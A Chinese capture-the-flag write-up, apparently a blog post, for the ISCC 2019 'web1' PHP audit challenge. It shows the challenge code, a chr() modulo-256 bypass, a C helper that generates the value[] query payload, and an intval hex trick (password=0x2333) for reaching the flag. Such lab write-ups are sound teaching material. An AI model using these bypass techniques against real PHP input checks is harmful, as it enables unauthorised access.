web1 ISCC

打开连接,又是审计,

<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);

发现它让你传递参数,它不能在32到127之间,但是它的ascii值转码后,还的是‘w3lc0me_To_ISCC2019’。所以,我们把这个字符串对的每个字符应的ascii值,都加上256,因为chr函数在转换时会自动取模256。这样就绕过了。这里的value是一个数组,传参的方法是value[]=w&value[]=3&value[]=l。。。。。这里附上一个我用C语言写的自动化的代码

#include<stdio.h>
int main()
{
    FILE *fp;
    fp=fopen("1.txt","w");
    int a[1000];
    for(int i=0;i<19;i++)
    {
        scanf("%d",&a[i]);
        a[i]=a[i]+256;
    }
    for(int i=0;i<19;i++)
    {
        fprintf(fp,"value[]=%d&",a[i]);
    }
}

intval这是一个取整函数,但是它在变量上有一些问题,具体的看这篇文章吧:https://mp.weixin.qq.com/s/D1kN9AVubt3-tpqH8peADw
让后让password=0x2333就可以了。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值